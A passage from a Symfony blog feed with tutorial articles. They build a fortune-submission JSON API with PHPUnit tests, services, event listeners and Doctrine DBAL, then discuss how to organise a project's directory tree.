            - '@app.list_all_fortunes_handler'
            - '@twig'

    # Handlers
    app.list_all_fortunes_handler:
        class: 'AppBundle\Service\ListAllFortunesHandler'
        arguments:
            - '@app.find_all_fortunes'

    app.submit_new_fortune_handler:
        class: 'AppBundle\Service\SubmitNewFortuneHandler'
        arguments:
            - '@app.save_new_fortune'

    # Services
    app.find_all_fortunes:
        alias: app.bridge.doctrine_dbal_find_all_fortunes

    app.bridge.doctrine_dbal_find_all_fortunes:
        class: 'AppBundle\Service\Bridge\DoctrineDbalFindAllFortunes'
        arguments:
            - '@database_connection'

    app.save_new_fortune:
        alias: app.bridge.doctrine_dbal_save_new_fortune

    app.bridge.doctrine_dbal_save_new_fortune:
        class: 'AppBundle\Service\Bridge\DoctrineDbalSaveNewFortune'
        arguments:
            - '@database_connection'

    # Listeners
    app.json_request_content_listener:
        class: 'AppBundle\EventListener\JsonRequestContentListener'
        tags:
            - { name: kernel.event_listener, event: kernel.request, method: onKernelRequest }

    app.exception_listener:
        class: 'AppBundle\EventListener\ExceptionListener'
        tags:
            - { name: kernel.event_listener, event: kernel.exception, method: onKernelException }
</code></pre>

<p>Since we changed the configuration, we'll need to clear the cache:</p>

<pre><code>rm -rf var/cache/prod
</code></pre>

<p>Finally we can visit again our page: <a href="http://localhost:2501/app.php/">http://localhost:2501/app.php/</a>.</p>

<p>Let's run our test suite one last time:</p>

<pre><code>rm -rf var/cache/test
vendor/bin/phpunit
</code></pre>

<p>Everything is still green!</p>

<h2 id="conclusion">Conclusion</h2>

<p>To create a new page, we need to:</p>

<ul>
<li>create a Controller class</li>
<li>configure its routing</li>
<li>register the controller as a service</li>
</ul>

<p>The page's logic is then up to us, it doesn't have to be done in a "Symfony"
way. For example we can:</p>

<ul>
<li>extract Request parameters and put them in a class that validates them</li>
<li>pass the class to a handler that will call services to do the actual logic</li>
<li>define our services as interfaces, and then create implementations to integrate
them with third party libraries</li>
</ul>

<p>Finally to display the result we need to create a template file and call a
templating engine, such as Twig, from our controller.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[The Ultimate Developer Guide to Symfony - API Example]]></title>
            <link href="/2016/03/24/ultimate-symfony-api-example.html"/>
            <updated>2016-03-24T00:00:00+00:00</updated>
            <id>/2016/03/24/ultimate-symfony-api-example.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>Reference</strong>: This article is intended to be as complete as possible and is
  kept up to date.</p>
  
  <p><strong>TL;DR</strong>: Practice makes Better.</p>
</blockquote>

<p>In this guide we've explored the main standalone libraries (also known as "Components")
provided by <a href="http://symfony.com">Symfony</a> to help us build applications:</p>

<ul>
<li><a href="/2016/02/03/ultimate-symfony-http-kernel.html">HTTP Kernel and HTTP Foundation</a></li>
<li><a href="/2016/02/10/ultimate-symfony-event-dispatcher.html">Event Dispatcher</a></li>
<li><a href="/2016/02/17/ultimate-symfony-routing.html">Routing and YAML</a></li>
<li><a href="/2016/02/24/ultimate-symfony-dependency-injection.html">Dependency Injection</a></li>
<li><a href="/2016/03/02/ultimate-symfony-console.html">Console</a></li>
</ul>

<p>We've also seen how HttpKernel enabled reusable code with <a href="/2016/03/09/ultimate-symfony-bundle.html">Bundles</a>,
and the different ways to organize our application <a href="/2016/03/16/ultimate-symfony-skeleton.html">tree directory</a>.</p>

<p>In this article, we're going to put all this knowledge in practice by creating a
"fortune" project with an endpoint that allows us to submit new fortunes.</p>

<p>In the next articles we'll also create for this application:</p>

<ul>
<li><a href="/2016/03/30/ultimate-symfony-web-example.html">a page that lists all fortunes</a></li>
<li><a href="/2016/04/06/ultimate-symfony-cli-example.html">a command that prints the last fortune</a></li>
</ul>

<h2 id="create-the-project">Create the project</h2>

<p>The first step is to create our project. For this example we'll use the
<a href="https://github.com/symfony/symfony-standard">Standard Edition</a>:</p>

<pre><code>composer create-project symfony/framework-standard-edition fortune
</code></pre>

<p>This will ask us some configuration questions (e.g. database credentials), allowing
us to set up everything in one step.</p>

<blockquote>
  <p><strong>Note</strong>: Nothing prevents us from adding new libraries (e.g. <a href="https://github.com/beberlei/assert">Assert</a>),
  replacing the ones provided by default (e.g. replacing <a href="http://www.doctrine-project.org/projects/orm.html">Doctrine</a>
  with <a href="http://www.pomm-project.org/">Pomm</a>) or remove the ones we don't need
  (e.g. <a href="http://swiftmailer.org/">Swiftmailer</a> if we don't need emailing).</p>
</blockquote>

<p>To begin with a clean slate we'll need to remove some things:</p>

<pre><code>cd fortune
echo '' &gt;&gt; app/config/routing.yml
rm -rf src/AppBundle/Controller/* tests/AppBundle/Controller/* app/Resources/views/*
</code></pre>

<p>Then we're going to install PHPUnit locally:</p>

<pre><code>composer require --dev phpunit/phpunit:5.2 --ignore-platform-reqs
</code></pre>

<p>We're now ready to begin.</p>

<h2 id="create-the-controller">Create the Controller</h2>

<p>We'll first start by writing a functional test for our new endpoint:</p>

<pre><code class="php">&lt;?php
// tests/AppBundle/Controller/Api/FortuneControllerTest.php

namespace Tests\AppBundle\Controller\Api;

use Symfony\Component\HttpFoundation\Request;

class FortuneControllerTest extends \PHPUnit_Framework_TestCase
{
    private $app;

    protected function setUp()
    {
        $this-&gt;app = new \AppKernel('test', false);
    }

    /**
     * @test
     */
    public function it_cannot_submit_fortunes_without_content()
    {
        $headers = array(
            'CONTENT_TYPE' =&gt; 'application/json',
        );
        $request = Request::create('/api/v1/fortunes', 'POST', array(), array(), array(), $headers, json_encode(array(
        )));

        $response = $this-&gt;app-&gt;handle($request);

        self::assertSame(422, $response-&gt;getStatusCode(), $response-&gt;getContent());
    }

    /**
     * @test
     */
    public function it_cannot_submit_fortunes_with_non_string_content()
    {
        $headers = array(
            'CONTENT_TYPE' =&gt; 'application/json',
        );
        $request = Request::create('/api/v1/fortunes', 'POST', array(), array(), array(), $headers, json_encode(array(
            'content' =&gt; 42,
        )));

        $response = $this-&gt;app-&gt;handle($request);

        self::assertSame(422, $response-&gt;getStatusCode(), $response-&gt;getContent());
    }

    /**
     * @test
     */
    public function it_submits_new_fortunes()
    {
        $headers = array(
            'CONTENT_TYPE' =&gt; 'application/json',
        );
        $request = Request::create('/api/v1/fortunes', 'POST', array(), array(), array(), $headers, json_encode(array(
            'content' =&gt; 'Hello',
        )));

        $response = $this-&gt;app-&gt;handle($request);

        self::assertSame(201, $response-&gt;getStatusCode(), $response-&gt;getContent());
    }
}
</code></pre>

<p>With functional tests, we're only interested in making sure all components play
well together, so checking the response status code (<code>201</code> is succesfully created,
<code>422</code> is a validation error) is sufficient.</p>

<blockquote>
  <p><strong>Note</strong>: <code>400 BAD REQUEST</code> is only used if there's a syntax error in the Request
  (e.g. invalid JSON).</p>
</blockquote>

<p>Let's run the tests:</p>

<pre><code>vendor/bin/phpunit
</code></pre>

<p>They fail, with a <code>404 NOT FOUND</code> response. That's because we don't have any
controllers, so let's fix that:</p>

<pre><code class="php">&lt;?php
// src/AppBundle/Controller/Api/FortuneController.php

namespace AppBundle\Controller\Api;

use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;

class FortuneController
{
    public function submit(Request $request)
    {
        return new Response('', 201);
    }
}
</code></pre>

<p>Having a controller is no good without routing configuration:</p>

<pre><code># app/config/routing.yml

submit_new_fortunes_endpoint:
    path: /api/v1/fortunes
    defaults:
        _controller: app.api.fortune_controller:submit
    methods:
        - POST
</code></pre>

<p>In this configuration, <code>_controller</code> is set to call the <code>submit</code> method of the
<code>app.api.fortune_controller</code> service. Here's how to define this service:</p>

<pre><code># app/config/services.yml

services:
    app.api.fortune_controller:
        class: 'AppBundle\Controller\Api\FortuneController'
</code></pre>

<p>Now let's try again our tests:</p>

<pre><code>rm -rf var/cache/test
vendor/bin/phpunit
</code></pre>

<blockquote>
  <p><strong>Note</strong>: We need to remove the cache to take into account the new configuration.</p>
</blockquote>

<p>The last test (happy scenario) pass! We'll have to fix the first two ones (unhappy
scenario) later.</p>

<p>We can now call directly our endpoint:</p>

<pre><code>php -S localhost:2501 -t web &amp;
curl -i -X POST localhost:2501/app.php/api/v1/fortunes -H 'Content-Type: application/json' -d '{"content":"Nobody expects the spanish inquisition!"}'
killall -9 php
</code></pre>

<p>We should successfully get a <code>201 CREATED</code>.</p>

<h2 id="create-the-logic">Create the logic</h2>

<p>So now we have an endpoint that does nothing. Let's fix it by creating the logic.
Our first step will be to write a unit test for a class that will do a basic
validation of the input:</p>

<pre><code class="php">&lt;?php
// tests/AppBundle/Service/SubmitNewFortuneTest.php

namespace Tests\AppBundle\Service;

use AppBundle\Service\SubmitNewFortune;

class SubmitNewFortuneTest extends \PHPUnit_Framework_TestCase
{
    const CONTENT = "Look, matey, I know a dead parrot when I see one, and I'm looking at one right now.";

    /**
     * @test
     */
    public function it_has_a_content()
    {
        $submitNewFortune = new SubmitNewFortune(self::CONTENT);

        self::assertSame(self::CONTENT, $submitNewFortune-&gt;content);
    }

    /**
     * @test
     */
    public function it_fails_if_the_content_is_missing()
    {
        $this-&gt;expectException(\DomainException::class);

        new SubmitNewFortune(null);
    }

    /**
     * @test
     */
    public function it_fails_if_the_content_is_not_a_string()
    {
        $this-&gt;expectException(\DomainException::class);

        new SubmitNewFortune(42);
    }
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: You need PHPUnit 5.2 to be able to use <code>expectException</code>.</p>
</blockquote>

<p>Our <code>SubmitNewFortune</code> will check that we submitted a stringy content. Let's run
the tests:</p>

<pre><code>vendor/bin/phpunit
</code></pre>

<blockquote>
  <p><strong>Note</strong>: If we had used <a href="/2015/08/03/phpspec.html">phpspec</a> to write our unit
  tests, it would have created an empty <code>SubmitNewFortune</code> class for us.
  There's nothing wrong with using <a href="/2015/09/23/phpunit-with-phpspec.html">both PHPUnit and phpspec</a>,
  (the first for functional tests and the second for unit tests).</p>
</blockquote>

<p>The tests fail because the actual class doesn't exist yet. We need to write it:</p>

<pre><code class="php">&lt;?php
// src/AppBundle/Service/SubmitNewFortune.php

namespace AppBundle\Service;

class SubmitNewFortune
{
    public $content;

    public function __construct($content)
    {
        if (null === $content) {
            throw new \DomainException('Missing required "content" parameter', 422);
        }
        if (false === is_string($content)) {
            throw new \DomainException('Invalid "content" parameter: it must be a string', 422);
        }
        $this-&gt;content = $content;
    }
}
</code></pre>

<p>Let's run the tests again:</p>

<pre><code>vendor/bin/phpunit
</code></pre>

<p>This time they pass.</p>

<p>Validating the input parameters isn't enough, we now need to execute some logic
to actually submit new quotes. This can be done in a class that handles <code>SubmitNewFortune</code>:</p>

<pre><code class="php">&lt;?php
// tests/AppBundle/Service/SubmitNewFortuneHandlerTest.php

namespace Tests\AppBundle\Service;

use AppBundle\Service\SaveNewFortune;
use AppBundle\Service\SubmitNewFortune;
use AppBundle\Service\SubmitNewFortuneHandler;

class SubmitNewFortuneHandlerTest extends \PHPUnit_Framework_TestCase
{
    const CONTENT = "It's just a flesh wound.";

    private $submitNewFortuneHandler;
    private $saveNewFortune;

    protected function setUp()
    {
        $this-&gt;saveNewFortune = $this-&gt;prophesize(SaveNewFortune::class);
        $this-&gt;submitNewFortuneHandler = new SubmitNewFortuneHandler(
            $this-&gt;saveNewFortune-&gt;reveal()
        );
    }

    /**
     * @test
     */
    public function it_submits_new_fortunes()
    {
        $submitNewFortune = new SubmitNewFortune(self::CONTENT);

        $this-&gt;saveNewFortune-&gt;save(array(
            'content' =&gt; self::CONTENT
        ))-&gt;shouldBeCalled();

        $this-&gt;submitNewFortuneHandler-&gt;handle($submitNewFortune);
    }
}
</code></pre>

<p>Let's run the tests:</p>

<pre><code>vendor/bin/phpunit
</code></pre>

<p>They're telling us to create <code>SubmitNewFortuneHandler</code>:</p>

<pre><code class="php">&lt;?php
// src/AppBundle/Service/SubmitNewFortuneHandler.php

namespace AppBundle\Service;

class SubmitNewFortuneHandler
{
    private $saveNewFortune;

    public function __construct(SaveNewFortune $saveNewFortune)
    {
        $this-&gt;saveNewFortune = $saveNewFortune;
    }

    public function handle(SubmitNewFortune $submitNewFortune)
    {
        $newFortune = array(
            'content' =&gt; $submitNewFortune-&gt;content,
        );

        $this-&gt;saveNewFortune-&gt;save($newFortune);
    }
}
</code></pre>

<p>This should fix this specific error:</p>

<pre><code>vendor/bin/phpunit
</code></pre>

<p>Now our tests are telling us to create <code>SaveNewFortune</code>:</p>

<pre><code class="php">&lt;?php
// src/AppBundle/Service/SaveNewFortune.php

namespace AppBundle\Service;

interface SaveNewFortune
{
    public function save(array $newFortune);
}
</code></pre>

<p>Let's see if it did the trick:</p>

<pre><code>vendor/bin/phpunit
</code></pre>

<p>Yes it did! To sum up what we've done in this section:</p>

<ul>
<li>we've created a <code>SubmitNewFortune</code> class that contains all input parameters
to submit a new fortune, and it validates them</li>
<li>we've create a <code>SubmitNewFortuneHandler</code> class that uses parameters from
<code>SubmitNewFortune</code> to call services which will do the actual logic</li>
<li>we've created a <code>SaveNewFortune</code> interface, its implementations will save new
fortunes</li>
</ul>

<h2 id="wiring">Wiring</h2>

<p>We're going to use Doctrine DBAL to actually save new fortunes in a database.
This can be done by creating an implementation of <code>SaveNewFortune</code>:</p>

<pre><code class="php">&lt;?php
// src/AppBundle/Service/Bridge/DoctrineDbalSaveNewFortune.php

namespace AppBundle\Service\Bridge;

use AppBundle\Service\SaveNewFortune;
use Doctrine\DBAL\Driver\Connection;

class DoctrineDbalSaveNewFortune implements SaveNewFortune
{
    private $connection;

    public function __construct(Connection $connection)
    {
        $this-&gt;connection = $connection;
    }

    public function save(array $newFortune)
    {
        $queryBuilder = $this-&gt;connection-&gt;createQueryBuilder();
        $queryBuilder-&gt;insert('fortune');
        $queryBuilder-&gt;setValue('content', '?');
        $queryBuilder-&gt;setParameter(0, $newFortune['content']);
        $sql = $queryBuilder-&gt;getSql();
        $parameters = $queryBuilder-&gt;getParameters();
        $statement = $this-&gt;connection-&gt;prepare($sql);
        $statement-&gt;execute($parameters);
    }
}
</code></pre>

<p>This was the last class we needed to write. We can now use <code>SubmitNewFortune</code>
in our controller:</p>

<pre><code class="php">&lt;?php
// src/AppBundle/Controller/Api/FortuneController.php

namespace AppBundle\Controller\Api;

use AppBundle\Service\SubmitNewFortune;
use AppBundle\Service\SubmitNewFortuneHandler;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;

class FortuneController
{
    private $submitNewFortuneHandler;

    public function __construct(SubmitNewFortuneHandler $submitNewFortuneHandler)
    {
        $this-&gt;submitNewFortuneHandler = $submitNewFortuneHandler;
    }

    public function submit(Request $request)
    {
        $submitNewFortune = new SubmitNewFortune(
            $request-&gt;request-&gt;get('content')
        );
        $this-&gt;submitNewFortuneHandler-&gt;handle($submitNewFortune);

        return new Response('', 201);
    }
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: In the controller, we extract Request (input) parameters and put them
  in <code>SubmitNewFortune</code> which is going to validate them. We then simply call
  <code>SubmitNewFortuneHandler</code> to take care of the logic associated to <code>SubmitNewFortune</code>.</p>
</blockquote>

<p>Now all that's left to do is wire everything together using Dependency Injection:</p>

<pre><code># app/config/services.yml

services:
    app.api.fortune_controller:
        class: 'AppBundle\Controller\Api\FortuneController'
        arguments:
            - '@app.submit_new_fortune_handler'

    app.submit_new_fortune_handler:
        class: 'AppBundle\Service\SubmitNewFortuneHandler'
        arguments:
            - '@app.save_new_fortune'

    app.save_new_fortune:
        alias: app.bridge.doctrine_dbal_save_new_fortune

    app.bridge.doctrine_dbal_save_new_fortune:
        class: 'AppBundle\Service\Bridge\DoctrineDbalSaveNewFortune'
        arguments:
            - '@database_connection'
</code></pre>

<p>Let's run the tests:</p>

<pre><code>rm -rf var/cache/test
vendor/bin/phpunit
</code></pre>

<p>They currently fail with <code>500 INTERNAL SERVER ERROR</code>. To get an idea of what's
going on, we need to have a look at our logs:</p>

<pre><code>grep CRITICAL var/logs/test.log | tail -n 1 # Get the last line containing "CRITICAL", which is often cause by 500
</code></pre>

<p>This is what we got:</p>

<pre><code>[2016-03-24 19:31:32] request.CRITICAL: Uncaught PHP Exception DomainException: "Missing required "content" parameter" at /home/foobar/fortune/src/AppBundle/Service/SubmitNewFortune.php line 13 {"exception":"[object] (DomainException(code: 422): Missing required \"content\" parameter at /home/foobar/fortune/src/AppBundle/Service/SubmitNewFortune.php:13)"} []
</code></pre>

<p>It looks like we don't get any data in the <code>request</code> attribute from <code>Request</code>.
That's because PHP doesn't populate <code>$_POST</code> when we send JSON data. We can fix
it by creating an <code>EventListener</code> that will prepare the Request for us:</p>

<pre><code class="php">&lt;?php
// src/AppBundle/EventListener/JsonRequestContentListener.php

namespace AppBundle\EventListener;

use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpKernel\Event\GetResponseEvent;

/**
 * PHP does not populate $_POST with the data submitted via a JSON Request,
 * causing an empty $request-&gt;request.
 *
 * This listener fixes this.
 */
class JsonRequestContentListener
{
    public function onKernelRequest(GetResponseEvent $event)
    {
        $request = $event-&gt;getRequest();
        $hasBeenSubmited = in_array($request-&gt;getMethod(), array('PATCH', 'POST', 'PUT'), true);
        $isJson = (1 === preg_match('#application/json#', $request-&gt;headers-&gt;get('Content-Type')));
        if (!$hasBeenSubmited || !$isJson) {
            return;
        }
        $data = json_decode($request-&gt;getContent(), true);
        if (JSON_ERROR_NONE !== json_last_error()) {
            $event-&gt;setResponse(new Response('{"error":"Invalid or malformed JSON"}', 400, array('Content-Type' =&gt; 'application/json')));
        }
        $request-&gt;request-&gt;add($data ?: array());
    }
}
</code></pre>

<p>Our listener needs to be registered in the Dependency Injection Container:</p>

<pre><code># app/config/services.yml

services:
    app.api.fortune_controller:
        class: 'AppBundle\Controller\Api\FortuneController'
        arguments:
            - '@app.submit_new_fortune_handler'

    app.submit_new_fortune_handler:
        class: 'AppBundle\Service\SubmitNewFortuneHandler'
        arguments:
            - '@app.save_new_fortune'

    app.save_new_fortune:
        alias: app.bridge.doctrine_dbal_save_new_fortune

    app.bridge.doctrine_dbal_save_new_fortune:
        class: 'AppBundle\Service\Bridge\DoctrineDbalSaveNewFortune'
        arguments:
            - '@database_connection'

    app.json_request_content_listener:
        class: 'AppBundle\EventListener\JsonRequestContentListener'
        tags:
            - { name: kernel.event_listener, event: kernel.request, method: onKernelRequest }
</code></pre>

<p>This should fix our error:</p>

<pre><code>rm -rf var/cache/test
vendor/bin/phpunit
grep CRITICAL var/logs/test.log | tail -n 1
</code></pre>

<p>We still get a <code>500</code>, but this time for the following reason:</p>

<pre><code>[2016-03-24 19:36:09] request.CRITICAL: Uncaught PHP Exception Doctrine\DBAL\Exception\ConnectionException: "An exception occured in driver: SQLSTATE[08006] [7] FATAL:  database "fortune" does not exist" at /home/foobar/fortune/vendor/doctrine/dbal/lib/Doctrine/DBAL/Driver/AbstractPostgreSQLDriver.php line 85 {"exception":"[object] (Doctrine\\DBAL\\Exception\\ConnectionException(code: 0): An exception occured in driver: SQLSTATE[08006] [7] FATAL:  database \"fortune\" does not exist at /home/foobar/fortune/vendor/doctrine/dbal/lib/Doctrine/DBAL/Driver/AbstractPostgreSQLDriver.php:85, Doctrine\\DBAL\\Driver\\PDOException(code: 7): SQLSTATE[08006] [7] FATAL:  database \"fortune\" does not exist at /home/foobar/fortune/vendor/doctrine/dbal/lib/Doctrine/DBAL/Driver/PDOConnection.php:47, PDOException(code: 7): SQLSTATE[08006] [7] FATAL:  database \"fortune\" does not exist at /home/foobar/fortune/vendor/doctrine/dbal/lib/Doctrine/DBAL/Driver/PDOConnection.php:43)"} []
</code></pre>

<p>The database doesn't exist. It can be created with the following command, provided by Doctrine:</p>

<pre><code>bin/console doctrine:database:create
</code></pre>

<p>Let's take this opportunity to also create the table:</p>

<pre><code>bin/console doctrine:query:sql 'CREATE TABLE fortune (content TEXT);'
</code></pre>

<p>Let's re-run the tests:</p>

<pre><code>vendor/bin/phpunit
</code></pre>

<p>Hooray! We can now submit new fortunes by calling our endpoint:</p>

<pre><code>rm -rf var/cache/prod
php -S localhost:2501 -t web &amp;
curl -i -X POST localhost:2501/app.php/api/v1/fortunes -H 'Content-Type: application/json' -d '{"content":"What... is the air-speed velocity of an unladen swallow?"}'
killall -9 php
</code></pre>

<p>We can see our fortunes in the database:</p>

<pre><code>bin/console doctrine:query:sql 'SELECT * FROM fortune;'
</code></pre>

<p>We still have two failing tests though. That's because we don't catch our <code>DomainExceptions</code>.
This can be fixed in an <code>EventListener</code>:</p>

<pre><code class="php">&lt;?php
// src/AppBundle/EventListener/ExceptionListener.php

namespace AppBundle\EventListener;

use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpKernel\Event\GetResponseForExceptionEvent;

class ExceptionListener
{
    public function onKernelException(GetResponseForExceptionEvent $event)
    {
        $exception = $event-&gt;getException();
        if (!$exception instanceof \DomainException) {
            return;
        }
        $event-&gt;setResponse(new Response(json_encode(array(
            'error' =&gt; $exception-&gt;getMessage(),
        )), $exception-&gt;getCode(), array('Content-Type' =&gt; 'application/json')));
    }
}
</code></pre>

<p>It then needs to be registered as a service:</p>

<pre><code># app/config/services.yml

services:
    app.api.fortune_controller:
        class: 'AppBundle\Controller\Api\FortuneController'
        arguments:
            - '@app.submit_new_fortune_handler'

    app.submit_new_fortune_handler:
        class: 'AppBundle\Service\SubmitNewFortuneHandler'
        arguments:
            - '@app.save_new_fortune'

    app.save_new_fortune:
        alias: app.bridge.doctrine_dbal_save_new_fortune

    app.bridge.doctrine_dbal_save_new_fortune:
        class: 'AppBundle\Service\Bridge\DoctrineDbalSaveNewFortune'
        arguments:
            - '@database_connection'

    app.json_request_content_listener:
        class: 'AppBundle\EventListener\JsonRequestContentListener'
        tags:
            - { name: kernel.event_listener, event: kernel.request, method: onKernelRequest }

    app.exception_listener:
        class: 'AppBundle\EventListener\ExceptionListener'
        tags:
            - { name: kernel.event_listener, event: kernel.exception, method: onKernelException }
</code></pre>

<p>Finally we run the tests:</p>

<pre><code>rm -rf var/cache/test
vendor/bin/phpunit
</code></pre>

<p>All green!</p>

<h2 id="conclusion">Conclusion</h2>

<p>To create a new endpoint, we need to:</p>

<ul>
<li>create a Controller class</li>
<li>configure its routing</li>
<li>register the controller as a service</li>
</ul>

<p>We might need to create some event listeners (to populate <code>$request-&gt;request</code>
when receiving JSON content, or to convert exceptions to responses).</p>

<p>The endpoint's logic is then up to us, it doesn't have to be done in a "Symfony"
way. For example we can:</p>

<ul>
<li>extract Request parameters and put them in a class that validates them</li>
<li>pass the class to a handler that will call services to do the actual logic</li>
<li>define our services as interfaces, and then create implementations to integrate
them with third party libraries</li>
</ul>

<p>You can find the code on Github: <a href="https://github.com/gnugat-examples/fortune/tree/api-example">Fortune - API example</a></p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[The Ultimate Developer Guide to Symfony - Skeleton]]></title>
            <link href="/2016/03/16/ultimate-symfony-skeleton.html"/>
            <updated>2016-03-16T00:00:00+00:00</updated>
            <id>/2016/03/16/ultimate-symfony-skeleton.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>Reference</strong>: This article is intended to be as complete as possible and is
  kept up to date.</p>
  
  <p><strong>TL;DR</strong>: Start by putting everything in <code>AppBundle</code> until we have a better
  idea of what the project looks like and how to organize it.</p>
</blockquote>

<p>In this guide we've explored the main standalone libraries (also known as "Components")
provided by <a href="http://symfony.com">Symfony</a> to help us build applications:</p>

<ul>
<li><a href="/2016/02/03/ultimate-symfony-http-kernel.html">HTTP Kernel and HTTP Foundation</a></li>
<li><a href="/2016/02/10/ultimate-symfony-event-dispatcher.html">Event Dispatcher</a></li>
<li><a href="/2016/02/17/ultimate-symfony-routing.html">Routing and YAML</a></li>
<li><a href="/2016/02/24/ultimate-symfony-dependency-injection.html">Dependency Injection</a></li>
<li><a href="/2016/03/02/ultimate-symfony-console.html">Console</a></li>
</ul>

<p>We've also seen how HttpKernel enabled reusable code with <a href="/2016/03/09/ultimate-symfony-bundle.html">Bundles</a>.</p>

<p>In this article, we're going to have a closer look at how to organise our applications
directory tree.</p>

<p>Finally in the next articles we'll finish by putting all this knowledge in practice by creating a
"fortune" project with:</p>

<ul>
<li><a href="/2016/03/24/ultimate-symfony-api-example.html">an endpoint that allows us to submit new fortunes</a></li>
<li><a href="/2016/03/30/ultimate-symfony-web-example.html">a page that lists all fortunes</a></li>
<li><a href="/2016/04/06/ultimate-symfony-cli-example.html">a command that prints the last fortune</a></li>
</ul>

<h2 id="editions">Editions</h2>

<p>Deciding how our project directory is organized is up to us, but for consistency
and convenience we usually use "Editions" to bootstrap new projects:</p>

<pre><code>composer create-project gnugat/symfony-empty-edition our-project
cd our-project
</code></pre>

<blockquote>
  <p><strong>Note</strong>: Here we've decided to use the <a href="https://github.com/gnugat/symfony-empty-edition">Symfony Empty Edition</a>
  which follows the "add what you need" philosophy (it only contains the strict minimum).</p>
  
  <p>If we're rather fond of the "solve 80% of use cases" philosophy we can go for
  <a href="https://github.com/symfony/symfony-standard">Standard Edition</a>
  which includes many tools commonly used to build full-stack websites.</p>
  
  <p>To find more distributions, <a href="http://symfony.com/distributions">check the official website</a>.</p>
</blockquote>

<p>The directory tree looks like this:</p>

<pre><code>.
├── app
│   ├── AppKernel.php
│   ├── autoload.php
│   └── config
│       ├── config_dev.yml
│       ├── config_prod.yml
│       ├── config_test.yml
│       ├── config.yml
│       └── parameters.yml.dist
├── bin
│   └── console
├── composer.json
├── src
│   └── AppBundle
│       └── AppBundle.php
├── var
│   ├── cache
│   └── logs
└── web
    ├── app.php
    ├── favicon.ico
    └── robots.txt
</code></pre>

<p>Each folder in the root directory has a purpose:</p>

<ul>
<li><code>app</code>: configuration</li>
<li><code>bin</code>: scripts, binaries</li>
<li><code>src</code>: our code</li>
<li><code>var</code>: temporary files</li>
<li><code>web</code>: public directory exposed via the web server (<code>app.php</code> is the front controller)</li>
</ul>

<blockquote>
  <p><strong>Note</strong>: Classes that wouldn't be used in production can be put outside of
  <code>src</code> (e.g. tests could be put in <code>tests</code>, fixtures in <code>fixtures</code>, etc). They
  should be configured in <code>composer.json</code> as follow:</p>

<pre><code>{
    "autoload-dev": {
        "psr-4": {
            "Gnugat\\Toasty\\Fixtures\\": "fixtures",
            "Gnugat\\Toasty\\Tests\\": "tests"
        }
    }
}
</code></pre>
  
  <p>This way, when running Composer's <code>install</code> command in development we get our
  tests/fixtures classes autoloaded, and when running the same command with <code>--no-dev</code>
  option in production we don't.</p>
</blockquote>

<h2 id="appbundle">AppBundle</h2>

<p>Once we have an empty skeleton, we can start organizing our code by puting all
new classes in <code>src/AppBundle</code>, as advised by the <a href="http://symfony.com/doc/current/best_practices/business-logic.html">official best practice</a>.</p>

<p>Symfony specific classes can be put in the following directories:</p>

<ul>
<li><code>src/AppBundle/Command</code>, for Console Commands</li>
<li><code>src/AppBundle/Controller</code> for HttpKernel Controllers</li>
<li><code>src/AppBundle/DependencyInjection</code>, for <code>CompilerPassInterface</code> and <code>ExtensionInterface</code> implementations</li>
<li><code>src/AppBundle/EventListener</code>, for EventDispatcher Listeners</li>
</ul>

<p>Our project specific classes can be put the <code>src/AppBundle/Service</code> directory.</p>

<p>The number of classes in will grow overtime, at some point we'll have an itch to
organize them in a better way: we can group them by entity.</p>

<p>Regarding configuration, we can organize it this way:</p>

<ul>
<li><code>app/config/routings/</code>, contains Router configuration</li>
<li><code>app/config/services/</code>, contains Dependency Injection configuration</li>
</ul>

<p>The directory tree looks like this:</p>

<pre><code>.
├── app
│   ├── AppKernel.php
│   ├── autoload.php
│   └── config
│       ├── config_dev.yml
│       ├── config_prod.yml
│       ├── config_test.yml
│       ├── config.yml
│       ├── parameters.yml.dist
│       ├── routings
│       └── services
├── bin
│   └── console
├── composer.json
├── composer.lock
├── src
│   └── AppBundle
│       ├── AppBundle.php
│       ├── Command
│       ├── Controller
│       ├── DependencyInjection
│       │   └── CompilerPass
│       ├── EventListener
│       └── Service
├── var
│   ├── cache
│   └── logs
└── web
    ├── app.php
    ├── favicon.ico
    └── robots.txt
</code></pre>

<h2 id="decoupling-from-framework">Decoupling from framework</h2>

<p>Starting by putting everything in <code>AppBundle</code> is fine until we have a better idea
of what the project looks like and how to organize it.</p>

<p>As suggested in the <a href="http://symfony.com/doc/current/best_practices/business-logic.html">official best practice</a>,
we can move our "business logic" (everything in <code>src/AppBundle/Service</code>) to a new
<code>src/&lt;vendor&gt;/&lt;project&gt;</code> directory.</p>

<blockquote>
  <p><strong>Note</strong>: Replace <code>&lt;vendor&gt;</code> by the organization/author (e.g. <code>Gnugat</code>)
  and <code>&lt;project&gt;</code> by the project name (e.g. <code>Toasty</code>).</p>
</blockquote>

<p>The directory tree looks like this:</p>

<pre><code>.
├── app
│   ├── AppKernel.php
│   ├── autoload.php
│   └── config
│       ├── config_dev.yml
│       ├── config_prod.yml
│       ├── config_test.yml
│       ├── config.yml
│       ├── parameters.yml.dist
│       ├── routings
│       └── services
├── bin
│   └── console
├── composer.json
├── composer.lock
├── src
│   ├── AppBundle
│   │   ├── AppBundle.php
│   │   ├── Command
│   │   ├── Controller
│   │   ├── DependencyInjection
│   │   │   └── CompilerPass
│   │   └── EventListener
│   └── &lt;vendor&gt;
│       └── &lt;project&gt;
├── var
│   ├── cache
│   └── logs
└── web
    ├── app.php
    ├── favicon.ico
    └── robots.txt
</code></pre>

<p>By leaving Symfony related classes in <code>src/AppBundle</code> and our "business logic"
in <code>src/&lt;vendor&gt;/&lt;project&gt;</code>, it becomes easier to <a href="/2015/09/30/decouple-from-frameworks.html">decouple from the framework</a>.</p>

<h2 id="decouple-from-libraries">Decouple from libraries</h2>

<p>Building on "decoupling from frameworks", we might also want to <a href="http://localhost:8000/2015/10/12/decouple-from-libraries.html">decouple from libraires</a>.
To do so our "business logic" classes should rely on interfaces, and their implementation
would use libraries.</p>

<p>At this point we can get three different categories of classes:</p>

<ul>
